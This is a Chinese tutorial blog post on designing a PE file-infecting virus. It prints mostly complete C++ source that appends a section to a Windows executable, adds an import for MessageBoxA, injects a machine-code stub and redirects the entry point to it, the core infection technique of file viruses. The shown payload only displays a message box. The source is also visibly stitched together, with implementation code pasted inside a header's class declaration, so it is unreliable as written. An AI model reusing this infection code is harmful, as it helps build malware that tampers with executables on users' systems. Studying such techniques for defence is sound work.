第7讲：设计PE型病毒2

最新推荐文章于 2024-04-10 15:00:00 发布
最新推荐文章于 2024-04-10 15:00:00 发布
阅读量88 收藏
点赞数
原文链接：http://www.cnblogs.com/mayingkun/p/4774685.html
版权

本节主要讲 通过添加新区块、修改输入表方法实现PE感染

本次课程涉及到的技术点有几个部分：

1，添加输入表项。

2，添加新区块。

 3，插入 Stub。

********************************************************************************************

下面是实现这个程序的主要步骤，其中使用内存映射机制来实现文件的操作。

1）添加用于存放Stub的新区块。添加新区块需要进行一下操作：

增加区块数量

添加区块信息

修正PE文件的映像大小

添加PE文件大小

********************************************************************************************

 Stub 要完成的任务很简单，显示消息框然后跳转到应用程序原始入口继续执行。

 需要修改程序的入口点指向 Stub ，应用程序执行时就会直接转到 Stub 执行。

 ********************************************************************************************

 新区块数据由以下7本分组成：

 1，输入表，原输入表数据复制到新区块，并为user32.dll的MessageBoxA加新项。

2，DLL名字符串，固定为“USER32.dll”，在输入表新项中使用。

3，函数名字符串，固定为“MessageBoxA”，在输入表新项中使用。

4，新输入表项所对应的IAT表。

5，Nag消息框的标题字符串。

6，Nag消息框的内容字符串。

 

以下为完整代码：

 PEInfo.h文件

#pragma once


typedef struct _MAP_ITEM {
    HANDLE    hFile ;
    HANDLE    hMapFile ;
    LPVOID    lpMapAddr ;
} MAP_ITEM ;
typedef MAP_ITEM* PMAP_ITEM ;

typedef struct _BASE_INFO_ITEM {
    DWORD    dwSectionAlign ; //块对齐大小
    DWORD    dwFileAlign ;     //文件块对齐大小
    WORD    dwSectionBase ;  //节表开始地址
    WORD    dwSectionNum ;   //节表个数
    DWORD    dwHeadSize ;     //所有头+节表大小，也可以以此值作为PE文件第一节的文件偏移量
    DWORD    dwRealHeadSize ; //节表结束地址
    DWORD    dwImageSize ;    //镜像大小
    DWORD    dwFileSize ;     //文件大小
} BASE_INFO_ITEM ;
typedef BASE_INFO_ITEM* PBASE_INFO_ITEM ;


class CPEInfo
{
public:
    CPEInfo(void);
public:
    ~CPEInfo(void);

public:
    BOOL                    isReady ;
    BASE_INFO_ITEM            BaseInfo ;
    IMAGE_SECTION_HEADER    NewSection ;    

public:
    BOOL    CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) ;
    BOOL    CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) ;
    VOID    DeleteMap    ( PMAP_ITEM pMapItem ) ;
    BOOL    FlushData    ( LPVOID lpAddr, UINT nNumToFlush ) ;//清除数据

public:
    BOOL    IsValidPE        ( PMAP_ITEM pMapItem ) ;
    VOID    GetBaseInfo        ( PMAP_ITEM pMapItem ) ;
    VOID    InitNewSection    () ; //初始的新Section
    VOID    AdjustSectionSize () ;        // 包含了映像大小和文件大小
    VOID    AddNewSection    ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize ) ;

public:
    DWORD    FormatInt ( DWORD dwValue, DWORD dwAlign ) ;

};

PEInfo.cpp

#include "StdAfx.h"
#include "PEInfo.h"

CPEInfo::CPEInfo(void)
{

    int ii = sizeof(IMAGE_OPTIONAL_HEADER);
    isReady = FALSE ;
    memset ( &BaseInfo, 0, sizeof(BASE_INFO_ITEM) ) ;//新申请的内存做初始化工作
    memset ( &NewSection, 0, sizeof(IMAGE_SECTION_HEADER) ) ;//新申请的内存做初始化工作
}

CPEInfo::~CPEInfo(void)
{
}

BOOL CPEInfo::CreateMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem ) 
{    
    pMapItem->hFile =    CreateFile ( 
        pPathName,                    
        GENERIC_READ, 
        FILE_SHARE_READ|FILE_SHARE_WRITE,  
        NULL, 
        OPEN_EXISTING, 
        FILE_ATTRIBUTE_NORMAL ,
        NULL 
        );
    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
    {
        return FALSE;
    }
    
    //创建文件映射内核对象
    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, PAGE_READONLY, 0, 0, NULL    ) ;
    if ( pMapItem->hMapFile == NULL )
    {
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    //创建文件视图
    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_READ, 0, 0, 0 ) ;
    if ( pMapItem->lpMapAddr == NULL )
    {
        DWORD dwErrorCode = GetLastError () ;
        CloseHandle ( pMapItem->hMapFile ) ;
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    return TRUE ;
}

BOOL CPEInfo::CreateNewMap    ( TCHAR* pPathName, PMAP_ITEM pMapItem, DWORD dwFileSize ) 
{    
    pMapItem->hFile =    CreateFile ( 
        pPathName,                    
        GENERIC_READ|GENERIC_WRITE, 
        FILE_SHARE_READ|FILE_SHARE_WRITE,  
        NULL, 
        CREATE_ALWAYS, 
        FILE_ATTRIBUTE_NORMAL ,
        NULL 
        );
    if ( pMapItem->hFile == INVALID_HANDLE_VALUE )
    {
        return FALSE;
    }
    
    //创建文件映射内核对象
    pMapItem->hMapFile = CreateFileMapping ( pMapItem->hFile, NULL, \
                            PAGE_READWRITE, 0, dwFileSize, NULL    ) ;
    if ( pMapItem->hMapFile == NULL )
    {
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    //创建文件视图
    pMapItem->lpMapAddr = (PBYTE)MapViewOfFile ( pMapItem->hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0 ) ;
    if ( pMapItem->lpMapAddr == NULL )
    {
        DWORD dwErrorCode = GetLastError () ;
        CloseHandle ( pMapItem->hMapFile ) ;
        CloseHandle ( pMapItem->hFile ) ;
        return FALSE;
    }
    
    return TRUE ;
}

void  CPEInfo::DeleteMap ( PMAP_ITEM pMapItem )
{
    UnmapViewOfFile ( pMapItem->lpMapAddr ) ;
    CloseHandle ( pMapItem->hMapFile ) ;
    CloseHandle ( pMapItem->hFile ) ;
}

BOOL  CPEInfo::FlushData ( LPVOID lpAddr, UINT nNumToFlush )
{
    return FlushViewOfFile ( lpAddr, nNumToFlush ) ;
}

BOOL  CPEInfo::IsValidPE        ( PMAP_ITEM pMapItem )
{
    return TRUE ;
}
 
VOID  CPEInfo::GetBaseInfo        ( PMAP_ITEM pMapItem )
{
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pMapItem->lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pMapItem->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;

    BaseInfo.dwSectionAlign    = pOptionalHeader->SectionAlignment ;// 内存中的区块的对齐大小
    BaseInfo.dwFileAlign        = pOptionalHeader->FileAlignment ;// 文件中的区块的对齐大小
    BaseInfo.dwSectionNum        = pNtHeader->FileHeader.NumberOfSections ;//PE文件中有多少个节
    BaseInfo.dwHeadSize        = pOptionalHeader->SizeOfHeaders ;// 所有头 + 区块表的尺寸大小
    BaseInfo.dwSectionBase    = pDosHeader->e_lfanew + 0x18 + pNtHeader->FileHeader.SizeOfOptionalHeader;//块表开始的地址DOS_Header+File__Header+Optional Header
    BaseInfo.dwRealHeadSize    = BaseInfo.dwSectionBase + BaseInfo.dwSectionNum * 0x28 ;//块表结束的地址
    BaseInfo.dwImageSize        = pOptionalHeader->SizeOfImage ;

    PIMAGE_SECTION_HEADER LastSec    = (PIMAGE_SECTION_HEADER)((LONG)(pMapItem->lpMapAddr) + BaseInfo.dwSectionBase + 0x28 * ( BaseInfo.dwSectionNum - 1 ) ) ;
    BaseInfo.dwFileSize        = LastSec->PointerToRawData + FormatInt ( LastSec->SizeOfRawData, pOptionalHeader->FileAlignment );//文件的大小
}


VOID  CPEInfo::InitNewSection    ()
{
    strcpy ( (char*)NewSection.Name, ".NewSec" ) ;
    NewSection.Misc.VirtualSize    = BaseInfo.dwSectionAlign ;
    NewSection.VirtualAddress        = BaseInfo.dwImageSize ;
    NewSection.SizeOfRawData        = BaseInfo.dwFileAlign ;
    NewSection.PointerToRawData    = BaseInfo.dwFileSize ;
    NewSection.Characteristics    = 0xE0000020 ;
}

DWORD CPEInfo::FormatInt ( DWORD dwValue, DWORD dwAlign )
{
    if ( dwValue % dwAlign )
        return ( dwValue / dwAlign + 1 ) * dwAlign ;
    return dwValue / dwAlign * dwAlign ;
}

void CPEInfo::AdjustSectionSize ()
{
    if ( NewSection.Misc.VirtualSize < NewSection.SizeOfRawData )
        NewSection.Misc.VirtualSize = NewSection.SizeOfRawData ;

    if ( NewSection.Misc.VirtualSize % BaseInfo.dwSectionAlign )
        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign + 1 ;
    else
        NewSection.Misc.VirtualSize = NewSection.Misc.VirtualSize / BaseInfo.dwSectionAlign ;
    NewSection.Misc.VirtualSize *= BaseInfo.dwSectionAlign ;

    if ( NewSection.SizeOfRawData % BaseInfo.dwFileAlign )
        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign + 1 ;
    else
        NewSection.SizeOfRawData = NewSection.SizeOfRawData / BaseInfo.dwFileAlign ;
    NewSection.SizeOfRawData *= BaseInfo.dwFileAlign ;
}

void CPEInfo::AddNewSection ( PMAP_ITEM pOldMap, PMAP_ITEM pNewMap, DWORD dwNewFileSize )
{
    memcpy ( LPVOID(pNewMap->lpMapAddr), LPVOID(pOldMap->lpMapAddr), NewSection.PointerToRawData ) ;

    // Fix PE Head's some item
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(pNewMap->lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(pNewMap->lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ; 

    // Increase section numbers
    pNtHeader->FileHeader.NumberOfSections ++ ;

    // Write into new IMAGE_SECTION_HEADER
    memcpy ( LPVOID(DWORD(pDosHeader)+BaseInfo.dwRealHeadSize), &(NewSection), 0x28 ) ;

    // Modify IMAGE SIZE
    pOptionalHeader->SizeOfImage += NewSection.Misc.VirtualSize ;

    FlushData ( pNewMap->lpMapAddr, dwNewFileSize ) ;
}
NagGenDlg.h文件

#pragma once

#include "PEInfo.h"

#include "Dbghelp.h"
#pragma comment ( lib, "Dbghelp.lib" )

// CNagGenDlg 对话框
class CNagGenDlg : public CDialog
{

public:

CPEInfo PEInfo ;

DWORD dwDllNameOff, dwFunNameOff, dwIATOff, dwIIDNum, dwNewEntryOff, dwNagTitleOff, dwNagContentOff ;

CString m_NagTitle;

#include "stdafx.h"
#include "NagGen.h"
#include "NagGenDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#define MAX_BUF_SIZE        2048
#define MAX_TITLE_SIZE        64
#define MAX_CONTENT_SIZE    256

TCHAR a[] = TEXT("fjda") ;
TCHAR b[] = TEXT("fdsadagfdsa") ;
//
//void StubCode ()
//{    
//    PTCHAR pTitle    = NULL ;
//    PTCHAR pContent    = NULL ;
//
//    DWORD begin, end ;
//    __asm
//    {
//        push    edx
//        call    $+5
//        pop        edx
//        add        edx, 7
//        mov        begin, edx
//BEGIN:
//        pushad
//        push    0
//        push    pTitle
//        push    pContent
//        push    0
//        call    dword ptr MessageBoxW
//        popad
//END:    
//        call    $+5
//        pop        edx
//        add        edx, -5
//        mov        end, edx
//        pop        edx
//    }
//}

void CNagGenDlg::OnBnClickedOk()
{

    MAP_ITEM OldMap = {0}, NewMap = {0} ;//初始化数据
    TCHAR    pBuf[MAX_BUF_SIZE] = {0} ;
    BYTE    pData[MAX_BUF_SIZE] ={0} ;
    wsprintf ( pBuf, m_PathName.GetBuffer(m_PathName.GetLength()) ) ;//m_PathName需要修改的PE文件
    if ( PEInfo.CreateMap(pBuf, &OldMap) == FALSE ) //创建文件映射到内存
    {
        MessageBox ( TEXT("Please ensure this file is not been used!") ) ;
        return ;
    }
    
    // 取得PE文件基本信息
    PEInfo.GetBaseInfo (&OldMap) ;
    // 初始化新区段信息
    PEInfo.InitNewSection () ;

    // 产生并组合数据，保存到pData缓冲区，并根据所需要的长度对区段信息进行调整
    DWORD dwNeedSize = GenerateData ( pData, OldMap.lpMapAddr );//生成数据

    if ( PEInfo.NewSection.SizeOfRawData < dwNeedSize )//判断所需的大小，并确定大小
        PEInfo.NewSection.SizeOfRawData = dwNeedSize ;
    PEInfo.AdjustSectionSize () ;

    // 建立新文件(*_nag.exe)
    CString TempStr = m_PathName ;
    DWORD    dwNewFileSize = PEInfo.NewSection.PointerToRawData + PEInfo.NewSection.SizeOfRawData ;
    TempStr.SetAt ( TempStr.GetLength()-4, 0 ) ;
    wsprintf ( pBuf, TEXT("%s%s"), TempStr.GetBuffer(TempStr.GetLength()), TEXT("_nag.exe") ) ;
    if ( PEInfo.CreateNewMap ( pBuf, &NewMap, dwNewFileSize ) == FALSE )
    {
        MessageBox ( TEXT("Could't create new file!") ) ;
        DeleteFile ( pBuf ) ;
        return ;
    }

    // 添加区块信息
    PEInfo.AddNewSection ( &OldMap, &NewMap, dwNewFileSize ) ;

    // 删除原PE文件的映射
    PEInfo.DeleteMap ( &OldMap ) ;

    // 把pData中的数据写入到新区块（ contain IID, NewDllName, NewFunName, NewIat）
    LPVOID    lpNewSection = LPVOID(DWORD(NewMap.lpMapAddr)+PEInfo.NewSection.PointerToRawData) ;
    memcpy ( lpNewSection, pData, PEInfo.NewSection.SizeOfRawData ) ;

    // 取得PE头信息
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(NewMap.lpMapAddr) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(NewMap.lpMapAddr)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;

    // 写入新IID信息  IMAGE_IMPORT_DESCRIPTOR
    // 如果OriginalFirstThunk 字段的值为0，加载就不会改写IAT，也就是说，需要自己向IAT写入对应函数的地址
    // 这里把OriginalFirstThunk的值设置为与FirstThunk相同，这样初始化的时候加载器就会改写IAT
    PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpNewSection + 0x14 * dwIIDNum) ;
    pIID->Name            = dwDllNameOff + PEInfo.NewSection.VirtualAddress ;
    pIID->FirstThunk    = dwIATOff + PEInfo.NewSection.VirtualAddress ;
    pIID->OriginalFirstThunk    = pIID->FirstThunk ;
    pIID->ForwarderChain    = 0xFFFFFFFF ;
    pIID->TimeDateStamp        = 0xFFFFFFFF ;
    *((DWORD*)(dwIATOff + (DWORD)lpNewSection)) = dwFunNameOff + PEInfo.NewSection.VirtualAddress ;
    
    
    // 修改数据目录项中输入表项信息
    pOptionalHeader->DataDirectory[1].VirtualAddress    = PEInfo.NewSection.VirtualAddress ;
    pOptionalHeader->DataDirectory[1].Size               += 0x14 ;

    // 清楚绑定输入表
    pOptionalHeader->DataDirectory[11].VirtualAddress    = 0 ;
    pOptionalHeader->DataDirectory[11].Size                = 0 ;
    
    // 修改OEP
    pOptionalHeader->AddressOfEntryPoint = dwNewEntryOff + PEInfo.NewSection.VirtualAddress ;
    
    PEInfo.FlushData ( LPVOID(PEInfo.NewSection.VirtualAddress), PEInfo.NewSection.SizeOfRawData ) ;
    PEInfo.DeleteMap ( &NewMap ) ;

    MessageBox ( TEXT("添加Nag窗口成功!") ) ;
}



//生成新区块数据

DWORD CNagGenDlg::GenerateData(PBYTE pData, LPVOID lpImageBase)
{
    // 取得PE文件基本信息
    PIMAGE_DOS_HEADER    pDosHeader    = (PIMAGE_DOS_HEADER)(lpImageBase) ;
    PIMAGE_NT_HEADERS    pNtHeader    = (PIMAGE_NT_HEADERS)((LONG)(lpImageBase)+ (pDosHeader->e_lfanew)) ;
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = &(pNtHeader->OptionalHeader) ;
    PIMAGE_DATA_DIRECTORY pImportData    = (PIMAGE_DATA_DIRECTORY)(&( pOptionalHeader->DataDirectory[1]) ) ;

    //    //定位到导入表
    //IMAGE_IMPORT_DESCRIPTOR *pImportDesc=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    PIMAGE_IMPORT_DESCRIPTOR    pIID = (PIMAGE_IMPORT_DESCRIPTOR) ImageRvaToVa ( pNtHeader, lpImageBase, pImportData->VirtualAddress, NULL ) ;
    // 把原IID表拷贝到缓冲区
    memcpy ( pData, LPVOID(pIID), pOptionalHeader->DataDirectory[1].Size );//ImportTable                   
    //统计IID数量(dll的数量)
    dwIIDNum        = 0 ;
    while ( pIID[dwIIDNum].FirstThunk )
        dwIIDNum ++ ;

    char    szDllName[] = "USER32.dll" ; 
    char    szFunName[] = "MessageBoxA" ;

    // 设置偏移信息
    dwDllNameOff        = pOptionalHeader->DataDirectory[1].Size + 0x14;
    dwFunNameOff        = dwDllNameOff + sizeof (szDllName) + 3 ;
    dwIATOff            = dwFunNameOff + sizeof (szFunName) + 4 ;
    dwNagTitleOff        = dwIATOff + 12 ;

    // 写入DLL名
    memcpy ( &(pData[dwDllNameOff]), szDllName, sizeof(szDllName) ) ;
    // 写入函数名
    memcpy ( &(pData[dwFunNameOff+2]), szFunName, sizeof(szFunName) ) ; // 2, 序号


    CHAR pTitle[128] = {0}, pContent[512] = {0} ;
    ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_TITLE, pTitle, 128 ) ;
    ::GetDlgItemTextA ( GetSafeHwnd(), IDC_NAG_CONTENT, pContent, 512 ) ;

    // 设置偏移信息（NagTitle + NagContent）
    dwNagContentOff    = dwNagTitleOff + strlen(pTitle) + 1 ;
    dwNewEntryOff        = dwNagContentOff + strlen(pContent) + 1 ;

    // 把NagTitle和NagContent信息写入缓冲区
    wsprintf ( PTCHAR(&pData[dwNagTitleOff]), TEXT("%s"), pTitle ) ;
    wsprintf ( PTCHAR(&pData[dwNagContentOff]), TEXT("%s"), pContent ) ;


    //
    // Stub Code ( 0x11111111为数据占位符，需修正） 0x6a,push 命令， 0xe8,cal命令
    // pushad                        60
    // push 0                         6A 0x00
    // push 0x11111111                 68  11111111 
    // push 0x11111111                 68  11111111   
    // push 0                         6A  00
    // call dword ptr MessageBoxW    FF15 11111111 
    // popad                         61
    // jmp  0x11111111               E9   11111111
    /////
    //Stub数据
    BYTE pbCommand[] = { 0x60, 0x6A, 0x00, 0x68, 0x11, 0x11, 0x11, 0x11, \
            0x68, 0x11, 0x11, 0x11, 0x11, 0x6A, 0x00, 0xFF, 0x15, 0xBC, 0xF2, 0x42, 0x00, 0x61, \
            0xE9, 0x11, 0x11, 0x11, 0x11 } ;
    
    // 统计Stub Code长度，然后写入pData缓冲区
    DWORD    dwStubLength = sizeof(pbCommand);
    memcpy ( &(pData[dwNewEntryOff]), pbCommand, dwStubLength ) ;

    // 计算 JMP 指令的操作数
    DWORD dwOldEntryRVA = pOptionalHeader->AddressOfEntryPoint ;
    DWORD dwNewEntryRVA = PEInfo.NewSection.VirtualAddress + dwNewEntryOff + 22 ;
    DWORD dwJmpDist        = dwOldEntryRVA - dwNewEntryRVA - 5 ;

    // 修正TitleVA
    *((DWORD*)(&(pData[dwNewEntryOff+4])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagTitleOff ;
    // 修正ContentVA
    *((DWORD*)(&(pData[dwNewEntryOff+9])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwNagContentOff ;
    // 修正 CALL [0x********]
    *((DWORD*)(&(pData[dwNewEntryOff+17])))    = pOptionalHeader->ImageBase + PEInfo.NewSection.VirtualAddress + dwIATOff ;
    // 修正 JMP 的操作数 ==> E9 ** ** ** **
    *((DWORD*)(&(pData[dwNewEntryOff+23])))    = dwJmpDist ;

    // 返回总长度
    return dwNewEntryOff + dwStubLength + 0x10 ;
}

 

 

 

CString m_NagContent;
afx_msg void OnBnClickedOk();
DWORD GenerateData(PBYTE pData, LPVOID lpImageBase);
};

 

 

转载于:https://www.cnblogs.com/mayingkun/p/4774685.html

weixin_30810583
关注
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
杨秀璋的专栏
05-20 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了XSS跨站脚本攻击案例，主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒， 包括PE病毒原理、分类及感染方式详解，并通过案例进行介绍。基础性文章，希望对您有所帮助~
PE文件病毒感染示例
long_xing的专栏
05-29 5323
;本程序修改自hume的代码，其版权信息如下：CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah                       db "        Thx for using it!",0dh,0ah                       db "Contact: Hume
关于PE病毒编写的学习(三)
蛛丝
09-10 2484
历史上，在windows95发布后，用高级语言编写的外壳病毒，经过简单地改造编译，就能从DOS平台迁移到windows平台上。并且在这当中很多“前置病毒”，仅仅需要重新编译。另外之所以用“前置病毒”作为第一分析样本，理由如下：1.它具有基本病毒功能模块，这些模块在文件型病毒中是通用的2.其框架结构，所需病毒技巧极少3.拓展方便，通过不断地加入新功能，循序渐进的学习各种病毒技巧4.加载新模块方便，适合测试其它病毒的某些功能模块那么何谓“前置病毒”？DWORD dwVirusSize=40960;HANDLE
PE病毒技术剖析[转载]
我的程序世界
03-06 1443
任何语言只要表达能力足够强，都可用于编写PE病毒。但现存的绝大部分PE病毒都是直接用汇编编写的，一方面是因为汇编编译后的代码短小精悍，可以充分进行人工优化，以满足隐蔽性的要求；另外一方面之所以用汇编是因为其灵活和可控，病毒要同系统底层有时甚至是硬件打交道，由于编译器的特点不尽相同，用高级语言实现某些功能甚至会更加麻烦，比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO端口等操
第6讲：设计PE型病毒1
weixin_30810239的博客
08-30 146
由于某些代码过于危险，在此不会完整的编写出来，只给出思路。思路是属于个人的，给出鄙人的，你也仅仅是理解了我的，真正的还是希望大家举一反三，把所学的东西按自己的思路组合起来，其实也是打造自己程序的一种途径了。 切忌，危险的活动请不要对内，我们要一致对外，在此严重鄙视分裂祖国的XX组织。 最终病毒的功能如下 病毒功能： 自动搜索硬盘上的PE文件（包括exe和dll），在文件中插入病毒...
一个PE病毒的实现
无题
11-08 1605
借鉴WIN PE权威指南愤怒的天使病毒思路而作   首先破坏性代码 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;补丁功能代码需要的DLL，函数名，字符串等全局变量定义 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
南京邮电大学恶意代码——实验：Pe病毒编写
weixin_42559271的博客
04-25 1845
前言 修改PE文件一般有两种思路。 第一种是通过编程语言来修改，这种方式的Visual Studio的Windows.h头文件里面有完全的PE相关管理结构的完整定义，通过编程来修改比较烦，但是优点是可以自动化进行，并且不需要去找相关的工具； 第二种方法是通过一些二进制工具来进行修改，这种方式是交互式的，能够直观的感受到整个过程，缺点是需要熟悉相关工具的UI使用方式，而且修改大量方式的时候市面上的这些工具一般都不提供编程接口； 因为本次实验仅仅是一个探索，所以就采用第二种方式。 需要的工具 本次实验用到的
关于PE病毒编写的学习（2）
bobopeng
07-20 930
这篇说一下，PE病毒需要那些技术积累，以及这些技术的学习方法和重点是什么。   1.先说汇编吧         其实我说的汇编关于两个方面：汇编语言设计 和 微机原理         汇编语言设计，它也是两方面： 常规教材讲的 和 病毒的技巧         常规教材上讲的基本都得学会，最基本的8086/8088肯定都得会，各种书籍视频很丰富，学起来不难。80x86也是必须得学，建
79.WindowsPE病毒原理、分类及感染方式详解_杨秀璋的专栏-CSDN博客1
08-03
了解PE病毒的原理和感染方式是有效防范的第一步。以下是一些基本的防范措施： 1. 安装并更新反病毒软件，定期扫描系统。 2. 不随意打开未知来源的邮件附件或下载不明链接的文件。 3. 避免使用未经验证的U盘或其他...
关于PE病毒编写的学习（8）
bobopeng
07-20 625
OK，兑现我的承诺，从本章开始讲述“追加病毒”的编写方法。我们将实现一个只弹出对话框的良性病毒，但是考虑到这个代码可能造成的危害，我会在感染模块中写入一个小Bug。不过，对于大家的学习是毫无影响的。     回到正题，先介绍一下“追加病毒”，在DOS时代中，这种病毒相当常见。由于.com文件的入口点是固定的，而且我们知道DOS平台程序可以随意使用中断，因此追加病毒只要将病毒代码追加到宿主文件尾
关于PE文件病毒的一点心得
www.pingfi.com
03-08 1450
 关于PE文件病毒的一点心得  PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格式更好的了解,而加壳程序的外壳部分也运用到了和PE文件病毒类似的技术,所以还是可以了解下的我也是刚学习这方面的东西,就把一点点心得写了下来.参考了罗云彬的在下菜鸟一只,望高手指教~首先说说PE文件病毒的工作方式．一
PE文件感染程序设计（PE病毒）
最新发布
m0_59598029的博客
04-10 654
python提供的glob库可以实现，glob是python自己带的一个文件操作相关模块，用它可以查找符合自己目的的文件，类似于Windows下的文件搜索，支持通配符操作，*,?修改入口点，使得新的EntryPoint指向我写入的shellcode处，并且shellcode的最后一条指令是跳转指令，在shellcode执行完毕后跳转至原EntryPoint继续执行，达到不改变原文件功能的目的。Format）文件格式。我们知道，一个文件的本质上是什么类型的文件取决于它的文件结构，而不是后缀。
感染PE文件的一个简单实例
shangguanwaner的专栏
12-02 2523
感染PE文件的一个简单实例作者:CloudQQ:329967612  感染PE文件是典型的病毒技术，利用它可以做很多事。至于怎么用就是各位读者自己的事。呵呵。这里给出一个简单的代码实例，它将代码保存在节的间隙中，然后修改入口点。很简单，写给初学者。个人觉得具体的例子要比抽象的解说更印象深刻，记得当初我刚学的时候，看那些高手们写的文章，实在是郁闷，概念是懂了但用不到实践中去。希望这篇文章能对
简单感染PE文件
_KaQqi的博客
02-16 2762
这个感染方式和win9x时代的CIH病毒感染方式很像。。。 这个程序的感染标识放在了DOS头中。。。因为DOS头只有MZ和最后一个指向PE头的指针很重要，改了就完蛋了。。。别的几乎用不到 所以修改DOS头的话，只要不修改首尾字段，几乎不会影响程序的运行。
学习笔记：病毒感染PE文件的基本方法
编程爱好者
03-13 5884
2007-06-27 02:40 PE病毒常见的感染其它文件的方法是在文件中添加一个新节，然后往该节中添加病毒代码和病毒执行后返回HOST程序的代码，并修改文件头中代码开始执行位置（Address Of EntryPoint）指向新添加的病毒节的代码入口，以便程序运行后先执行病毒代码。下面具体分析一下感染文件
[系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
杨秀璋的专栏
12-26 6229
系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等，通过在线笔记和实践操作的形式分享与博友们学习，希望能与您一起进步。前文介绍了条件语句和循环语句源码还原及流程控制逆向。这篇文章将分享勒索病毒，通过编写程序实现获取Windows系统目录文件，并对其进行加密和解密的过程；第二部分详细讲解了OllyDbg和在线沙箱的逆向分析过程。希望对入门的同学有帮助。
关于PE病毒编写的学习（9）
bobopeng
07-20 650
原本这一篇应该和上一篇同时发，但是我的原来代码写得很烂，而且由于我的目标是编写一个“追加病毒”框架，代码又要具备良好的模块特征。这两天改来改去，已经头脑混乱了，所以还是先发文章把原来的代码挂上，有时间再改，我会配上说明。   另外提一句，我把一个bug写再AddSection这个函数里，很多教学码也故意写这个错误，这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化，实际写入的是空位置，
关于PE病毒编写的学习
蛛丝
08-30 3829
首先声明，因为害怕被封号，我肯定不会展示正确完整病毒代码，但是会介绍可行的学习方法。网上有很多关于介绍PE病毒编写的帖子，但基本上都是分析源码FunLove和《计算机病毒分析与对抗》中PE病毒的代码翻版。事实上这两个代码是用于原理展示，前者根本通不过编译，后者编译后并不能正确运行，虽然有部分帖子对其做了修改，受到正统汇编教材代码的影响，导致其修改方法是错误的。关于病毒编写充满了各种各样的迷信和谬论，因此在学习的过程中，我走了不少弯路，让我来一一说明：误区1：PE病毒一定要用汇编来写，其生成文件小，效率高，病
一个简单的PE感染病毒
GVFDBDF的专栏
09-22 4630
/------- 通过开辟一个新的节表放置shellcode 修改PE入口点到shellcode，并在shellcode中设置返回原PE入口点 PE文件格式参考资料： http://bbs.pediy.com/showthread.php?t=21932 ----------/ /*** 本程序只适用于载入基址定位的，非随机基址 感染指定目录的PE文件 添
学习日记——（计算机病毒）PE文件病毒
weixin_54055099的博客
11-22 6318
一、相关知识 PE文件病毒的原理：PE文件病毒感染病毒时，将自身代码复制到目标文件中 PE文件病毒在目标文件前运行，那么，它是怎么做到的呢？ 答：PE病毒感染其他文件的常见方法是： 在文件中添加一个新节，然后把病毒代码和执行后返回宿主程序的代码写入到新添加的节中； 同时修改PE文件头的入口地址，使它指向新添加的病毒代码入口； 这样做后，当程序运行时，首先运行病毒代码，运行完后再转去运行宿主代码。 PE文件病毒的感染过程： 第一种： 判断目标文件开始的两个字节是否为“MZ”； 判断PE文件的
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
